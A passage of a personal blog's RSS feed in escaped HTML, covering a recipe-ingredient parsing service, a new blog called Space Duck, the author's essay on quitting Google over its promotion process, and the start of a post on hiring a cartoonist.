 src="https://mtlynch.io/since-quitting/ms-dash.png" alt="Recipe mistakenly uses name Ms. Dash." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is the nature of applying strict rules to random web data. They start out simple, but after enough variations and edge cases, the rules increase in complexity and conflict with each other.&lt;/p>
&lt;p>Every time I added a new recipe source to KetoHub, I had to spend several hours juggling rules so that KetoHub could handle the new site&amp;rsquo;s idiosyncracies without breaking any of the existing rules.&lt;/p>
&lt;p>I needed a more flexible way for KetoHub to process ingredients.&lt;/p>
&lt;h2 id="new-project-ingredient-parsing-as-a-service">New project: Ingredient parsing as a service&lt;/h2>
&lt;p>Early in KetoHub&amp;rsquo;s life, a commenter on Indie Hackers &lt;a href="https://www.indiehackers.com/forum/ketohub-month-2-report-1229ddb803?commentId=-L-clmWeoqUnFcAzTi5t">showed me&lt;/a> a blog post describing how &lt;em>The New York Times&lt;/em> &lt;a href="https://open.blogs.nytimes.com/2015/04/09/extracting-structured-data-from-recipes-using-conditional-random-fields/">used machine learning&lt;/a> to parse ingredients from the &lt;em>Times&amp;rsquo;&lt;/em> historical archive of recipes.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 509px">



 &lt;a href="https://mtlynch.io/since-quitting/nyt-parser.png">
 &lt;img
 
 sizes="(min-width: 768px) 509px, 98vw"
 srcset='https://mtlynch.io/since-quitting/nyt-parser_hu_f4b08180b5435a78.png 300w, https://mtlynch.io/since-quitting/nyt-parser.png 509w'
 src="https://mtlynch.io/since-quitting/nyt-parser.png" alt="Visualization of New York Times results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Visualization of &lt;em>The New York Times&lt;/em>' ingredient parser results&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That sounded neat but felt like overkill for my little recipe aggregator site. It would be like launching a home cleaning startup because your bathroom was dirty. It might solve the problem, but the solution was bigger than the issue it addressed.&lt;/p>
&lt;p>Then I had a realization: what if ingredient parsing &lt;em>is&lt;/em> the business?&lt;/p>
&lt;p>KetoHub was a fun project, but I still hadn&amp;rsquo;t found a way to monetize it. If parsing ingredients was a problem for KetoHub, maybe it was a problem for other apps. There were existing services that offered ingredient parsing, but each one I evaluated was either inaccurate or mandated prohibitively strict usage terms.&lt;/p>
&lt;p>I asked my freelancer friend, &lt;a href="https://mtlynch.io/outsourcing-mvp/#finding-a-freelancer">Ferngully&lt;/a>, to begin experimenting with the &lt;em>Times&amp;rsquo;&lt;/em> technique for parsing ingredients. Her initial results were promising, so we spent a few weeks going down the rabbit hole of machine learning and natural language processing.&lt;/p>
&lt;p>We now have a &lt;a href="https://zestfuldata.com">working demo&lt;/a>. If you give it a recipe ingredient like &lt;code>1 1/2 cups chopped red onions&lt;/code> or &lt;code>2 tablespoons minced parsley&lt;/code>, and it will break it down into structured components:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://zestfuldata.com/">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/since-quitting/parser-screenshot_hu_b51787c6e06bc0c4.png 300w, https://mtlynch.io/since-quitting/parser-screenshot_hu_e2fa4c3604efbbfe.png 600w, https://mtlynch.io/since-quitting/parser-screenshot.png 688w'
 src="https://mtlynch.io/since-quitting/parser-screenshot.png" alt="Screenshot of Ingredient Parser demo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For the next few weeks, I&amp;rsquo;m going to focus on reaching out to different app developers about how the Ingredient Parser API can be useful for them. By June, I hope to refine the API based on their feedback and publish it to marketplaces like &lt;a href="https://market.mashape.com/">Mashape&lt;/a> and &lt;a href="https://rapidapi.com/">RapidAPI&lt;/a>. &lt;strong>Update: (7/15)&lt;/strong>: It&amp;rsquo;s &lt;a href="https://rapidapi.com/zestfuldata/api/recipe-and-ingredient-analysis">now available&lt;/a>.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow. Space Duck logo by Marina Mocanu.&lt;/em>&lt;/p></content:encoded></item><item><title>A Follow-Up and Space Duck</title><link>https://mtlynch.io/spaceduck/</link><pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/spaceduck/</guid><description>&lt;p>The response to &lt;a href="https://mtlynch.io/why-i-quit-google/">yesterday&amp;rsquo;s post&lt;/a> about leaving Google has been unexpected and overwhelming.&lt;/p>
&lt;p>It was extremely gratifying to hear that my story resonated with so many people. Hundreds of readers from a variety of industries all across the globe have written me to tell me how they related to my experience. I&amp;rsquo;ve never written anything before that&amp;rsquo;s generated such a strong a response.&lt;/p>
&lt;p>At the same time, it&amp;rsquo;s unfortunate to hear how widespread this problem is. I hope that further conversation about the topic drives companies to improve their promotion systems so that fewer employees get caught in these career traps.&lt;/p></description><content:encoded>&lt;p>The response to &lt;a href="https://mtlynch.io/why-i-quit-google/">yesterday&amp;rsquo;s post&lt;/a> about leaving Google has been unexpected and overwhelming.&lt;/p>
&lt;p>It was extremely gratifying to hear that my story resonated with so many people. Hundreds of readers from a variety of industries all across the globe have written me to tell me how they related to my experience. I&amp;rsquo;ve never written anything before that&amp;rsquo;s generated such a strong a response.&lt;/p>
&lt;p>At the same time, it&amp;rsquo;s unfortunate to hear how widespread this problem is. I hope that further conversation about the topic drives companies to improve their promotion systems so that fewer employees get caught in these career traps.&lt;/p>
&lt;p>Thanks to everyone who read the post and who reached out via email and comments. I&amp;rsquo;m reading them all and responding to as many as I can.&lt;/p>
&lt;h2 id="introducing-space-duck">Introducing Space Duck&lt;/h2>
&lt;p>In yesterday&amp;rsquo;s post, I mentioned that one of my post-Google ideas was to build on top of &lt;a href="https://mtlynch.io/tags/sia">Sia&lt;/a>, a decentralized storage network. I haven&amp;rsquo;t started any software projects yet, but as I research the technology, I&amp;rsquo;ve been keeping my thoughts in an additional blog called &lt;a href="https://blog.spaceduck.io/">Space Duck&lt;/a>. So far, I&amp;rsquo;ve only written about Sia, but I will ultimately cover all of its competitors as well.&lt;/p>
&lt;p>It will differ a bit from mtlynch.io in that it will cater to a more specific audience. On mtlynch.io, I try to make my posts interesting and accessible to anyone interested in the topics I write about. In contrast, Space Duck will assume the reader has some familiarity with cryptocurrencies and distributed storage. If this sounds like a blog you&amp;rsquo;ll like, &lt;a href="https://blog.spaceduck.io">give it a read&lt;/a>.&lt;/p>
&lt;p>You can still expect to see a new post on mtlynch.io about once per month, as usual. I will continue to write about software development and my various personal projects. I have a long backlog of ideas for this blog, and I now have much more time to give these topics the attention they deserve.&lt;/p></content:encoded></item><item><title>Why I Quit Google to Work for Myself</title><link>https://mtlynch.io/why-i-quit-google/</link><pubDate>Wed, 28 Feb 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/why-i-quit-google/</guid><description>&lt;p>For the past four years, I&amp;rsquo;ve worked as a software developer at Google. On February 1st, I quit. It was because they refused to buy me a Christmas present.&lt;/p>
&lt;p>Well, I guess it&amp;rsquo;s a little more complicated than that.&lt;/p>
&lt;h2 id="the-first-two-years">The first two years&lt;/h2>
&lt;p>Two years in, I loved Google.&lt;/p>
&lt;p>When the annual employee survey asked me whether I expected to be at Google in five years, it was a no-brainer.&lt;/p></description><content:encoded>&lt;p>For the past four years, I&amp;rsquo;ve worked as a software developer at Google. On February 1st, I quit. It was because they refused to buy me a Christmas present.&lt;/p>
&lt;p>Well, I guess it&amp;rsquo;s a little more complicated than that.&lt;/p>
&lt;h2 id="the-first-two-years">The first two years&lt;/h2>
&lt;p>Two years in, I loved Google.&lt;/p>
&lt;p>When the annual employee survey asked me whether I expected to be at Google in five years, it was a no-brainer.&lt;/p>
&lt;p>Of &lt;em>course&lt;/em> I&amp;rsquo;d still be at Google in five years. I was surrounded by the best engineers in the world, using the most advanced development tools in the world, and eating the free-est food in the world.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/why-i-quit-google/spoiled-coder.webp">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/why-i-quit-google/spoiled-coder_hu_5ed05fc347de552f.webp 300w, https://mtlynch.io/why-i-quit-google/spoiled-coder_hu_1361ed6e96abcbce.webp 600w, https://mtlynch.io/why-i-quit-google/spoiled-coder_hu_3e6591d35d7b642d.webp 800w, https://mtlynch.io/why-i-quit-google/spoiled-coder.webp 1024w'
 src="https://mtlynch.io/why-i-quit-google/spoiled-coder.webp" alt="My typical day at Google" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My most recent performance rating was &amp;ldquo;Strongly Exceeds Expectations.&amp;rdquo; If I just kept going, I&amp;rsquo;d soon be promoted to the next level, Senior Software Engineer. What a great title! Forever after in my career, I&amp;rsquo;d be able to say, &amp;ldquo;Yes, I was a &lt;em>Senior&lt;/em> Software Engineer. At &lt;em>Google&lt;/em>.&amp;rdquo; People would be so impressed.&lt;/p>
&lt;p>My manager assured me that my promotion was close. He felt that I was already capable of senior-level work. I just needed the right project to prove it to the promotion committee.&lt;/p>
&lt;h2 id="your-manager-doesnt-promote-you">Your manager doesn&amp;rsquo;t promote you?&lt;/h2>
&lt;p>No, managers at Google can&amp;rsquo;t promote their direct reports. They don&amp;rsquo;t even get a vote.&lt;/p>
&lt;p>Instead, promotion decisions come from small committees of upper-level software engineers and managers who have never heard of you until the day they decide on your promotion.&lt;/p>
&lt;p>You apply for promotion by assembling a &amp;ldquo;promo packet&amp;rdquo;: a collection of written recommendations from your teammates, design documents you&amp;rsquo;ve created, and mini-essays you write to explain why your work merits a promotion.&lt;/p>
&lt;p>A promotion committee then reviews your packet with a handful of others, and they spend the day deciding who gets promoted and who doesn&amp;rsquo;t.&lt;/p>
&lt;p>During my two-year honeymoon phase, this system sounded great to me. Of &lt;em>course&lt;/em> my fate should be in the hands of a mysterious committee who&amp;rsquo;s never met me. They wouldn&amp;rsquo;t be tainted by any sort of favoritism or politics. They&amp;rsquo;d see past all that and recognize me for my high-quality code and shrewd engineering decisions.&lt;/p>
&lt;h2 id="thats-not-really-how-it-works">That&amp;rsquo;s not really how it works&lt;/h2>
&lt;p>Before I put together my first promo packet, I never thought about the logistics of how it all worked.&lt;/p>
&lt;p>In my head, the promotion committee was this omniscient and fair entity. If I spent each day choosing the right problems to solve, making the codebase better, and helping my team execute efficiently, the promotion committee would magically know this and reward me for it.&lt;/p>
&lt;p>Unsurprisingly, it doesn&amp;rsquo;t work like that. It took me two years to figure that out.&lt;/p>
&lt;h2 id="working-naïvely">Working naïvely&lt;/h2>
&lt;p>My main responsibility until that point was a legacy data pipeline. It had been in maintenance mode for years, but load had increased, and the pipeline was buckling under the pressure. It frequently died silently or produced incorrect output. Its failures took days to diagnose because nobody had written documentation for it since its original design spec.&lt;/p>
&lt;p>I proudly and lovingly nursed the pipeline back to health. I fixed dozens of bugs and wrote automated tests to make sure they wouldn&amp;rsquo;t reappear. I deleted thousands of lines of code that were either dead or could be replaced by modern libraries. I documented the pipeline as I learned it so that the institutional knowledge was available to my teammates instead of siloed in my head.&lt;/p>
&lt;p>The problem, as I discovered at promotion time, was that none of this was quantifiable. I couldn&amp;rsquo;t prove that anything I did had a positive impact on Google.&lt;/p>
&lt;h2 id="metrics-or-it-didnt-happen">Metrics or it didn&amp;rsquo;t happen&lt;/h2>
&lt;p>The pipeline didn&amp;rsquo;t record many metrics. The ones it did have made it look like things had gotten worse. My bug discoveries caused the overall bug count to increase. The pipeline&amp;rsquo;s failures increased because I made it fail fast on anomalies instead of silently passing along bad data. I drastically reduced the time developers spent repairing those failures, but there were no metrics that tracked developer time.&lt;/p>
&lt;p>My other work didn&amp;rsquo;t look so good on paper either. On several occasions, I put my projects on hold for weeks or even months at a time to help a teammate whose launch was at risk. It was the right decision for the team, but it looked unimpressive in a promo packet. To the promotion committee, my teammate&amp;rsquo;s project was the big, important work that demanded coordination from multiple developers. If they hornswoggled me into helping them, it&amp;rsquo;s evidence of their strong leadership qualities. I was just the mindless peon whose work was so irrelevant that it could be pre-empted at a moment&amp;rsquo;s notice.&lt;/p>
&lt;p>I submitted my first promo packet, and the results were what I feared: the promotion committee said that I hadn&amp;rsquo;t proven I could handle technical complexity, and they couldn&amp;rsquo;t see the impact I had on Google.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/why-i-quit-google/promo-committee.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/why-i-quit-google/promo-committee_hu_5956bb3db31e4d7f.png 300w, https://mtlynch.io/why-i-quit-google/promo-committee_hu_1bc49f3ba82ec91d.png 600w, https://mtlynch.io/why-i-quit-google/promo-committee_hu_677ef3a2def3a4c2.png 800w, https://mtlynch.io/why-i-quit-google/promo-committee.png 1024w'
 src="https://mtlynch.io/why-i-quit-google/promo-committee.png" alt="Arguing my case to the promotion committee" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="learning-from-rejection">Learning from rejection&lt;/h2>
&lt;p>The rejection was a difficult blow, but I wasn&amp;rsquo;t discouraged. I felt I was performing above my level, but the promotion committee couldn&amp;rsquo;t see it. That was solvable.&lt;/p>
&lt;p>I decided that I had been too naïve in my first couple years. I didn&amp;rsquo;t do enough planning up front to make sure the work I was doing left a paper trail. Now that I understood how the process worked, I could keep doing the same good work, just with better record-keeping.&lt;/p>
&lt;p>For example, my team was receiving tons of distracting email alerts due to false alarms. Old me would have just fixed these alerts. But now I knew that for this work to appear in my promo packet, I should first set up metrics so that we&amp;rsquo;d have historical records of alert frequency. At promotion time, I&amp;rsquo;d have an impressive-looking graph of the alerts trending downward.&lt;/p>
&lt;p>Shortly after, I was assigned a project that seemed destined for promotion. It depended heavily on machine-learning, which was and still is the hot thing at Google. It would automate a task that hundreds of human operators were doing manually, so it had a clear, objective impact on Google. It also required me to lead a junior developer throughout the project, which generally won points with promotion committees.&lt;/p>
&lt;h2 id="the-holiday-gift-wake-up-call">The holiday gift wake up call&lt;/h2>
&lt;p>A few months later, Google &lt;a href="http://fortune.com/2016/12/09/alphabet-donated-its-employees-holiday-gifts-to-charity/">made headlines&lt;/a> when they ended their long-standing tradition of giving lavish holiday gifts to all of their employees. Instead, they used the gift budget to buy &lt;del>advertising disguised as charity&lt;/del> Chromebooks for underprivileged schoolchildren.&lt;/p>
&lt;p>Shortly after this, I witnessed the following conversation between two employees:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Employee A&lt;/strong>: You effectively &lt;strong>are&lt;/strong> still getting the gift. Cuts like these increase the value of Google&amp;rsquo;s stock. You can sell your stock grants and buy any present you choose.&lt;/p>
&lt;p>&lt;strong>Employee B&lt;/strong>: What if I told my wife that I wasn&amp;rsquo;t buying her a Christmas gift, but she could use the money in our bank account to buy any present she wants?&lt;/p>
&lt;p>&lt;strong>Employee A&lt;/strong>: You&amp;rsquo;re in a &lt;strong>business&lt;/strong> relationship with Google. If you&amp;rsquo;re disappointed that Google isn&amp;rsquo;t &amp;ldquo;romancing&amp;rdquo; you with gifts like you do for your wife, you have a misguided notion of the relationship.&lt;/p>&lt;/blockquote>
&lt;p>Wait a second. &lt;em>I&lt;/em> was in a business relationship with Google.&lt;/p>
&lt;p>It may sound strange that it took me two and a half years to realize it, but Google does a good job of building a sense of community within the organization. To make us feel that we&amp;rsquo;re not just employees, but that we &lt;em>are&lt;/em> Google.&lt;/p>
&lt;p>That conversation made me realize that I&amp;rsquo;m &lt;em>not&lt;/em> Google. I provide a service to Google in exchange for money.&lt;/p>
&lt;p>So if Google and I have a business relationship that exists to serve each side&amp;rsquo;s interests, why was I spending time on all these tasks that served Google&amp;rsquo;s interests instead of my own? If the promotion committee doesn&amp;rsquo;t reward bugfixing or team support work, why was I doing that?&lt;/p>
&lt;h2 id="optimizing-for-promotion">Optimizing for promotion&lt;/h2>
&lt;p>My first denied promotion taught me the wrong lesson. I thought I could keep doing the same work but package it to look good for the promotion committee. I should have done the opposite: figure out what the promotion committee wants, and do that work exclusively.&lt;/p>
&lt;p>I adopted a new strategy. Before starting any task, I asked myself whether it would help my case for promotion. If the answer was no, I didn&amp;rsquo;t do it.&lt;/p>
&lt;p>My quality bar for code dropped from, &amp;ldquo;Will we be able to maintain this for the next 5 years?&amp;rdquo; to, &amp;ldquo;Can this last until I&amp;rsquo;m promoted?&amp;rdquo; I didn&amp;rsquo;t file or fix any bugs unless they risked my project&amp;rsquo;s launch. I wriggled out of all responsibilities for maintenance work. I stopped volunteering for campus recruiting events. I went from conducting one or two interviews per week to zero.&lt;/p>
&lt;h2 id="then-my-project-was-canceled">Then my project was canceled&lt;/h2>
&lt;p>Priorities shifted. Management traded my project away to our sister team in India. In exchange, that team gave us one of their projects. It was an undocumented system, built on deprecated infrastructure, but it was nevertheless a critical component in production. I was assigned to untangle it from our sister team&amp;rsquo;s code and migrate it to a new framework, all while keeping it running in production and hitting its performance metrics.&lt;/p>
&lt;p>As far as my promotion was concerned, this was a setback of several months. Because I hadn&amp;rsquo;t released anything for my canceled project, the two months I spent on it were worthless. It would take me weeks just to get up to speed on the system I was inheriting, and I was liable to lose several more in the gruntwork of keeping it operational.&lt;/p>
&lt;h2 id="what-am-i-even-doing">What am I even doing?&lt;/h2>
&lt;p>It was the third time in six months that my manager had reassigned me midway through a project. Each time, he assured me that it had nothing to do with the quality of my work, but rather some shift in upper management strategy or team headcount.&lt;/p>
&lt;p>At this point, I took a step back to assess what was happening from a high level. Forget my manager, forget his managers, forget the promotion committee. What if I boiled it down to just me and just Google? What was happening in our &amp;ldquo;business relationship?&amp;rdquo;&lt;/p>
&lt;p>Well, Google kept telling me that it couldn&amp;rsquo;t judge my work until it saw me complete a project. Meanwhile, I couldn&amp;rsquo;t complete any projects because Google kept interrupting them midway through and assigning me new ones.&lt;/p>
&lt;p>The dynamic felt absurd.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/why-i-quit-google/book-publisher.png">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/why-i-quit-google/book-publisher_hu_fe2091b671bc162d.png 300w, https://mtlynch.io/why-i-quit-google/book-publisher_hu_32921b326c520e8e.png 600w, https://mtlynch.io/why-i-quit-google/book-publisher_hu_3ef371e6246d4b62.png 800w, https://mtlynch.io/why-i-quit-google/book-publisher.png 1024w'
 src="https://mtlynch.io/why-i-quit-google/book-publisher.png" alt="The Google promotion committee approach to book publishing" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My career was being dictated by a shifting, anonymous committee who thought about me for an hour of their lives. Management decisions that I had no input into were erasing months of my career progress.&lt;/p>
&lt;p>Worst of all, I wasn&amp;rsquo;t proud of my work. Instead of asking myself, &amp;ldquo;How can I solve this challenging problem?&amp;rdquo; I was asking, &amp;ldquo;How can I make this problem &lt;em>look&lt;/em> challenging for promotion?&amp;rdquo; I hated that.&lt;/p>
&lt;p>Even if I got the promotion, what then? Popular wisdom said that each promotion was exponentially harder than the last. To continue advancing my career, I&amp;rsquo;d need projects that were even larger in scope and involved collaboration with more partner teams. But that just meant the project could fail due to even more factors outside my control, wasting months or years of my life.&lt;/p>
&lt;h2 id="whats-the-alternative">What&amp;rsquo;s the alternative?&lt;/h2>
&lt;p>Around this time, I discovered Indie Hackers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/why-i-quit-google/indie-hackers.png">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/why-i-quit-google/indie-hackers_hu_25a73b129f56fa25.png 300w, https://mtlynch.io/why-i-quit-google/indie-hackers_hu_1d12260eedfcb57e.png 600w, https://mtlynch.io/why-i-quit-google/indie-hackers_hu_bd5507ed0026e719.png 800w, https://mtlynch.io/why-i-quit-google/indie-hackers_hu_73a51faa0a4dc905.png 1200w, https://mtlynch.io/why-i-quit-google/indie-hackers.png 1545w'
 src="https://mtlynch.io/why-i-quit-google/indie-hackers.png" alt="Screenshot of Indie Hackers website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It&amp;rsquo;s an online community for founders of small software businesses. Emphasis on small. These weren&amp;rsquo;t Zuckerberg hopefuls, but rather people who wanted to build modest, profitable businesses that pay their bills.&lt;/p>
&lt;p>I had always been interested in starting my own software company, but I only knew of the Silicon Valley startup path. I thought being a software founder meant spending most of my time fundraising and the rest of it worrying about how to attract my next million users.&lt;/p>
&lt;p>Indie Hackers presented an attractive alternative. Most members built their businesses with their own savings or as side projects to their full-time jobs. They didn&amp;rsquo;t answer to investors, and they certainly didn&amp;rsquo;t have to prove themselves to anonymous committees.&lt;/p>
&lt;p>There were downsides, of course. Their income was less steady, and they faced more numerous catastrophic risks. If I ever made a mistake at Google that cost the company $10 million, I would suffer no consequences. I&amp;rsquo;d be asked to write a post-mortem, and everyone would celebrate the learning opportunity. For most of these founders, a $10 million mistake would mean the end of their business and several lifetimes of debt.&lt;/p>
&lt;p>Founders on Indie Hackers captivated me because they were in control. Whether their business became a runaway success or stagnated for years, they were calling the shots. At Google, I didn&amp;rsquo;t feel in control of my own projects, much less my career growth or my team&amp;rsquo;s direction.&lt;/p>
&lt;p>I thought about it for months and finally decided. I wanted to be an Indie Hacker.&lt;/p>
&lt;h2 id="one-last-thing-before-i-leave">One last thing before I leave&lt;/h2>
&lt;p>I still had unfinished business at Google. After investing three years into my promotion, I hated the idea of leaving with nothing to show for it. There were only a few months left until I could reapply for promotion, so I decided to give it one last shot.&lt;/p>
&lt;p>Six weeks before the performance period ended, my project was canceled. Again.&lt;/p>
&lt;p>Actually, my whole team was canceled. This was a common enough occurrence at Google that there was a euphemism for it: a defrag. Management transferred my team&amp;rsquo;s projects to our sister team in India. My teammates and I all had to start over in different areas of the company.&lt;/p>
&lt;p>I applied for the promotion anyway. Weeks later, my manager read me the results. My performance rating was &amp;ldquo;Superb,&amp;rdquo; the highest possible score, given to around 5% of employees each cycle. The promotion committee noted that in the past six months, I clearly demonstrated senior-level work. These were, uncoincidentally, the months when I was optimizing for promotion.&lt;/p>
&lt;p>&lt;em>But&lt;/em> they felt that six months wasn&amp;rsquo;t a long enough track record, so&amp;hellip; better luck next time.&lt;/p>
&lt;p>My manager told me I had a strong chance at promotion if I did the same quality work for another six months. I can&amp;rsquo;t say I wasn&amp;rsquo;t tempted, but by that point, I&amp;rsquo;d been hearing, &amp;ldquo;great shot at promotion in six months,&amp;rdquo; for the past two years.&lt;/p>
&lt;p>It was time to go.&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s next?&lt;/h2>
&lt;p>When I tell people I left Google, they assume I must have some brilliant startup idea. Only an &lt;em>idiot&lt;/em> would leave a job as cushy as Google Software Engineer.&lt;/p>
&lt;p>But I am indeed an idiot with no idea.&lt;/p>
&lt;p>My plan is to try different projects for a few months each to see if any of them catch on, for example:&lt;/p>
&lt;ul>
&lt;li>Continue working on &lt;a href="https://mtlynch.io/tags/ketohub">KetoHub&lt;/a> to see if I can make it profitable&lt;/li>
&lt;li>Build a business on top of Sia, a distributed storage technology I&amp;rsquo;ve &lt;a href="https://mtlynch.io/tags/sia">written about frequently&lt;/a>&lt;/li>
&lt;li>Spend more time writing, and look for ways to earn money from it&lt;/li>
&lt;/ul>
&lt;p>Google was a great place to work, and I learned valuable skills during my time there. Leaving was difficult because I had more to learn, but there will always be employers like Google. I won&amp;rsquo;t always have the freedom to start my own company, so I look forward to seeing where this takes me.&lt;/p>
&lt;h2 id="updates">Updates&lt;/h2>
&lt;ul>
&lt;li>&lt;strong>Update (Feb. 1, 2019)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;strong>Update (Jan. 31, 2020)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;strong>Update (Feb. 1, 2021)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;strong>Update (Feb. 1, 2022)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;li>&lt;strong>Update (Feb. 10, 2023)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;li>&lt;strong>Update (Feb. 10, 2024)&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>How to Hire a Cartoonist to Make Your Blog Less Boring</title><link>https://mtlynch.io/how-to-hire-a-cartoonist/</link><pubDate>Fri, 19 Jan 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/how-to-hire-a-cartoonist/</guid><description>&lt;p>I had just completed a passionate blog post.&lt;/p>
&lt;p>Too passionate, maybe, as I had written over 8,000 words. That&amp;rsquo;s 1000x longer than the average &lt;em>Buzzfeed&lt;/em> article. Worse, it was a giant wall of text with nary a visual element to break it up aside from some screenshots and a few tables. Ooh, exciting tables!&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img align-right" style="max-width: 270px">



 &lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">
 &lt;img
 
 sizes="(min-width: 768px) 270px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover_hu_d7503b7d0fc1cd4c.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover_hu_92bda19e90b1e93b.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover.jpg 664w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover.jpg" alt="An Illustrated Book of Bad Arguments book cover" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">&lt;em>An Illustrated Book of Bad Arguments&lt;/em>&lt;/a> by Ali Almossawi&lt;/p></description><content:encoded>&lt;p>I had just completed a passionate blog post.&lt;/p>
&lt;p>Too passionate, maybe, as I had written over 8,000 words. That&amp;rsquo;s 1000x longer than the average &lt;em>Buzzfeed&lt;/em> article. Worse, it was a giant wall of text with nary a visual element to break it up aside from some screenshots and a few tables. Ooh, exciting tables!&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img align-right" style="max-width: 270px">



 &lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">
 &lt;img
 
 sizes="(min-width: 768px) 270px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover_hu_d7503b7d0fc1cd4c.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover_hu_92bda19e90b1e93b.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover.jpg 664w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/bad-arguments-cover.jpg" alt="An Illustrated Book of Bad Arguments book cover" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">&lt;em>An Illustrated Book of Bad Arguments&lt;/em>&lt;/a> by Ali Almossawi&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I had recently read &lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">&lt;em>An Illustrated Book of Bad Arguments&lt;/em>&lt;/a>. It explained the various classes of logical fallacies in a beautiful children&amp;rsquo;s book style. I was impressed at how well it used illustrations to make dry academic ideas fun and easy to consume.&lt;/p>
&lt;p>Maybe cartoons could have the same effect on my massive tome of a blog article.&lt;/p>
&lt;p>I couldn&amp;rsquo;t draw cartoons myself, as I&amp;rsquo;m a terrible artist, so I set out to find someone who could help me.&lt;/p>
&lt;h2 id="choosing-cartoonists-to-shortlist">Choosing cartoonists to shortlist&lt;/h2>
&lt;p>Having never hired a cartoonist before or even worked with one, I didn&amp;rsquo;t know where to begin. I frequently outsource work through &lt;a href="https://www.upwork.com">Upwork&lt;/a>, a freelancing platform, so I decided to start there.&lt;/p>
&lt;p>But how was I supposed to choose an artist when I had no idea what I even wanted? I created a &lt;a href="https://www.upwork.com/jobs/~01069b65ac37524889">job listing&lt;/a> explaining that I&amp;rsquo;d hire multiple cartoonists to submit one cartoon each as a trial job for 8-10 more.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/upwork-posting.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/upwork-posting_hu_34bea833c52fd8e8.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/upwork-posting_hu_d5f2ff73b24b87d9.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/upwork-posting.png 763w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/upwork-posting.png" alt="Screenshot of job posting on Upwork" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Job posting on Upwork&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Within two days, I received 13 submissions.&lt;/p>
